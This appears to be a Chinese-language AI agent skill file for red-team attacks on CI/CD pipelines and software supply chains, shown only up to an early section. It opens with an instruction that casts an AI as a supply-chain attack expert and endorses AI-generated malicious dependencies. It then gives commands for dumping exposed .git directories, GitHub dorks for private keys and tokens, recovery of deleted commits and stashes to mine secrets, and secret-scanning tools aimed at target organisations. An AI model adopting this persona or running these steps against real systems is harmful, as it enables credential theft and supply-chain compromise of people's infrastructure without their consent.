ci-cd-attack-testing

Files (1)

• SKILL.md

SKILL.md (first lines)

# CI/CD与开发平台攻击深度技能

> **AI LOAD INSTRUCTION**: CI/CD 与开发平台供应链攻击链专家打法。聚焦入口定位（代码托管/CI 系统/依赖/制品库/GitOps/开发者终端）→ 按平台 CVE 路由 → 无害化验证。涉及生产的动作先过 authorized-attack-scope。

## 概述

CI/CD（持续集成/持续交付）是现代企业软件生产的**主动脉**——源码库、构建流水线、制品仓库、发布平台与云环境之间彼此信任、自动衔接。红队视角下，**攻陷一个 CI/CD 链路等于一次性控制整个软件供应链**：向源码库投毒可影响所有下游构建，攻陷构建平台可获得全部部署凭据，篡改制品可让恶意代码直达生产环境。本技能以**资深红队攻防专家视角**系统化覆盖**代码托管平台→CI系统→供应链投毒→制品镜像→GitOps发布→云原生集成→开发者终端**完整攻击链，结合最新漏洞情报（Jenkins CVE-2024-23897、GitLab CVE-2023-7028、ArgoCD CVE-2024-37152、tj-actions CVE-2025-30066），并融入 **AI 大模型能力**（AI 辅助代码审计、恶意依赖生成、流水线漏洞扫描与自动化编排）。

与`security-automation`技能（DevSecOps 防守视角）、`secure-code-review`技能（源码漏洞审计）互补：本技能专注**攻击视角**的 CI/CD 平台渗透与供应链投毒。

## 一、CI/CD 攻击面全景（DevOps 供应链攻击链）

### 1.1 现代 CI/CD 流水线架构
```
开发者终端 → 代码托管平台(GitHub/GitLab/Gitee)
              ↓ push / PR / webhook
         CI 系统(Jenkins/GitHub Actions/GitLab CI/TeamCity)
              ↓ 构建+测试+扫描
         制品仓库(Nexus/Artifactory/npm/PyPI/Docker Registry/Harbor)
              ↓ 拉取制品
         CD/发布平台(ArgoCD/Spinnaker/Flux/Helm)
              ↓ 部署
         云/集群环境(K8s/AWS/Azure/阿里云) → 生产应用
```
**关键特征**：每一环都**自动信任**上一环的输出（代码→构建产物→部署），且各环节通常持有通往下一环的高权限凭据——这正是供应链攻击的价值放大器。

### 1.2 攻击面分层模型
| 层次 | 组件 | 红队价值 |
|------|------|---------|
| L1 开发者层 | 开发者终端/IDE/Git凭据/浏览器会话 | 初始入口、上游凭据 |
| L2 代码库 | GitHub/GitLab/Gitee 仓库/分支/PR/Webhook | 源码+Secret+影响力 |
| L3 CI层 | Jenkins/GitHub Actions/GitLab CI/TeamCity | **构建凭据+RCE**（最高价值） |
| L4 制品层 | Nexus/Artifactory/npm/PyPI/Docker Registry/Harbor | 供应链投毒点 |
| L5 发布层 | ArgoCD/Flux/Helm/Spinnaker | 直达生产的开关 |
| L6 运行层 | K8s/云平台/生产应用 | 最终目标 |

### 1.3 信任边界与攻击链模型
```
# 攻击者只需要突破任意一个信任边界：
# 1) 写代码库（恶意代码/依赖投毒）→ 下游自动构建 → 自动部署 → 生产沦陷
# 2) 攻 CI 平台（RCE/凭据）→ 拿到全部部署凭据 → 直接控制生产
# 3) 攻制品库（篡改制品）→ 所有拉取该制品的环境被动感染
# 4) 攻 CD 平台（ArgoCD 等）→ 一键把恶意工作负载部署到集群
# 5) 攻开发者终端（凭据/插件）→ 冒充开发者提交恶意代码
# 决策树：哪个环节暴露面最大、防护最弱、下游影响最广，就优先打哪个
```

### 1.4 目标优先级评估（红队决策）
```
# 评估维度：可达性 × 权限放大倍数 × 下游影响范围
# 高优先级：
#   - 暴露到公网的 CI 平台（Jenkins/GitLab Runner）——直接 RCE 面
#   - 无鉴权/弱口令的制品库与 ArgoCD——直通生产
#   - 自托管 Runner（GitHub Actions）——等于集群内高权限 pod
#   - 大型开源/内部公共仓库——供应链影响面大
# 中优先级：内部代码库、开发者机器
# 每攻陷一环，立即收集"通往下一环的凭据"（deploy key/CI token/云凭据）
```

## 二、代码托管平台攻击（GitHub/GitLab/Gitee/Bitbucket）

### 2.1 信息泄露与公开攻击面
```
# 1) .git 目录泄露（未禁止目录浏览的 Web 部署）
curl http://target/.git/config
# 用 git-dumper 完整拉取
git-dumper http://target/.git/ /tmp/repo
# 2) GitHub 代码搜索（GitHub Dorking 挖掘敏感信息）
#   site:github.com "BEGIN RSA PRIVATE KEY"
#   "aws_access_key_id" "AKIA" language:yaml
#   "password" "jdbc:" language:java org:目标公司
#   filename:.npmrc _authToken
#   filename:credentials.json OR filename:service-account.json
# 3) Git 历史泄露：旧提交常含已轮换的密钥
git log --all --oneline --grep="password\|secret\|key"
git log -p -S "password" --all
git log --all --reflog --oneline
# 4) 仓库元信息：成员列表/分支策略/Webhook 配置
# 5) 提交邮箱 → 社工/钓鱼素材
```

### 2.2 Git 对象深度利用（拿不到仓库权限也能拿数据）
```bash
# dangling commits（GC 未清理的历史提交，可能含敏感信息）
git fsck --lost-found --no-reflogs
git fsck --unreachable
git show <hash>
# reflog（HEAD 移动历史，找回"已删除"的提交）
git reflog
git reset --hard HEAD@{n}   # 恢复被删除的分支/提交
# stash（未提交的暂存改动，常含临时测试凭据）
git stash list && git stash show -p stash@{0}
# 分支/tag 枚举：预览版、hotfix、release 分支常带额外 Secret
git branch -a ; git tag -l
# fork/PR 相关：PR 分支中可能包含未合并的敏感改动
# 已删除的 tag 可通过 reflog/fsck 找回
```
> **红队要点**：拿到"已删除"的文件/提交，往往比当前代码更有价值（运维把密钥"删了"但历史里全在）。

### 2.3 Secret 挖掘（自动化）
```bash
# trufflehog（深度扫描 Git 历史全量 secret）
trufflehog git https://github.com/org/repo --only-verified
trufflehog filesystem --directory=./repo
# gitleaks（规则引擎，支持自定义）
gitleaks detect --source=./repo --report-format=json --report-path=report.json
gitleaks git --remote=https://github.com/org/repo
# gitdorker（GitHub dork 自动化）
python gitdorker.py -tf tokens.txt -q "org:目标公司 password" -d /tmp/out
# 本地仓库全量扫描
grep -rniE "(api[_-]?key|secret|token|password)\s*[=:]\s*['\"][^'\"]{8,}" .
# 配置文件高价值目标：
#   .env / .npmrc / .pypirc / settings.xml(~/.m2) / ~/.gradle/gradle.properties
#   credentials.json / service-account.json / id_rsa / known_hosts
```

### 2.4 平台配置缺陷（权限放大）
```
# Deploy Key（只读/只写差异）与 SSH 签名验证

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

More from langbyyi/CyberStrikeAI-SRC